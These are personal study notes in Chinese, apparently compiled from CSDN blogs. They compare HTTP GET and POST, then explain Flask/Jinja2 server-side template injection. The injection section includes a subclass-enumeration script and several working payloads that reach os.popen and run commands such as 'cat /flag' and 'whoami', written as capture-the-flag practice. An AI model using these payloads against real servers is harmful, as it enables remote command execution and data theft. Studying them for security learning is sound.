2022年3月23日学习记录
一、复习post与get的区别
GET方式提交数据的格式:
1.格式:index.php?username=jack&password=123;(把参数数据队列加到提交表单的action属性所指的url中,值和表单内字段一一对应)
2.参数名和参数值之间没有空格
3.参数值不需要使用单双引号包括
GET方式提交数据的特点:
1.get方式在url后面拼接参数,只能以文本的形式传递数据
2.传递的数据量小,4KB左右(不同浏览器会有差异)
3.安全性低,会将数据显示在地址栏
4.速度快,通常用于对安全性要求不高的请求
POST方式提交数据:
通过HTTPpost机制,将表单内各个字段与其内容放置在html header内一起传送到action属性所指的url地址,用户看不到这个过程。
POST方式提交数据的特点:
1.安全性较高
2.传递数据量大,请求对数据长度没有要求
3.请求不会被缓存,也不会保留在浏览器历史纪录中
4.用于密码等安全性要求比较高的场合,提交的数据量比较大:如发布文章,上传文件。
GET与POST的区别
1、get是从服务器上获取数据,post是向服务器传送数据。
2. get是把参数数据队列加到提交表单的ACTION属性所指的URL中,值和表单内各个字段一一对应,在URL中可以看到。
post是通过HTTP post机制,将表单内各个字段与其内容放置在HTML HEADER内一起传送到ACTION属性所指的URL地址。用户看不到这个过程。
3.get传送的数据量较小,不能大于2KB。
post传送的数据量较大,一般被默认为不受限制。
4. get安全性非常低,post安全性较高。但是执行效率却比Post方法好。
二、继续学习Flask注入
Python-Flask框架
jinja2模板简介
Jinja2 是一个现代的,设计者友好的,仿照 Django 模板的 Python 模板语言。 它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全;
何为模板注入
模板引擎(SST)
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
如果没有SST,那python和html就是写在一个文件里,python代码和html代码混合coding这个,可想而知啊。。。
可是SST又是危险的,因为SST十分相信用户的输入,并且执行这些内容,甚至是本机函数都可以执行。
模板注入(SSTI)
模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果使用模板时并没用对用户的输入做任何处理或相信用户的输入,攻击者则可通过模板引擎执行系统命令,这就会造成模板注入。模板注入是可以防范的,下面会从攻 与 防进行介绍。
SSTI
构造基本类
首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如request):
''.__class__.__base__
[].__class__.__base__
().__class__.__base__
request.__class__.__base__
我们需要用到的是warnings.catch_warning所以遇到flask模板注入的时候,只要去找warnings.catch_warning即可
一般是在列表的第59个元素
或构造python脚本
import requests
url = "模板注入的url={{ [].__class__.__base__.__subclasses__()[%s] }}"
for i in range(200):
url_all = url % i
r = requests.get(url_all).text
if 'warnings.catch_warning' in r:
print(i, r)
break
找到warnings.catch_warning就可以为所欲为了
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("ls /").read()}}
手工注入payload:/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
就是将payload置于网页的URL之后,获取flag参数
理解这个payload
config为对象;
__class__:返回对象所属类;
__init__:类的初始方法,用以初始化实例;
__globals__(也可用func_globals):以字典返回内建模块;
OS就是返回字典里面的的一个模块
popen()返回一个输出流,通过read()读取里面的数据
----------------------------------------------------------
payload的构造过程:
(1)明确要利用的目标函数;
(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。
(3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。
(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)
(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入)
(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。
常用的payload:
{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}}
// os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
// __import__方法
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
// __builtins__
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
// Jinja2创建的url_for()方法
{{url_for.__globals__.os.popen("cat /flag").read()}}
循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明:
https://blog.csdn.net/weixin_42980713/article/details/84563058
(14条消息) php里的get是什么意思,php中post和get请求的区别是什么?_五星天皇岩里政男的博客-CSDN博客
(14条消息) Python-Flask框架(四), jinja2模板注入_99Kies的博客-CSDN博客